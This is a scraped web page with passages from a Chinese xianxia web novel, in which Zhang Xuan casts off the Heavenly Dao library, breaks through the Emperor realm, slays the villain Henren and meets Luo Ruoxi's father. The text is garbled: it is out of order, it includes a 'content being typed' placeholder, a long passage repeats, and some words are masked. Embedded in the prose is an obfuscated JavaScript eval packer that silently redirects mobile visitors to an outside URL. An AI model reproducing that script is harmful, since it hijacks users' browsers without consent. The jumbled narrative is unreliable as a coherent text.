“原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第66章黑风口……失守了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546039|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 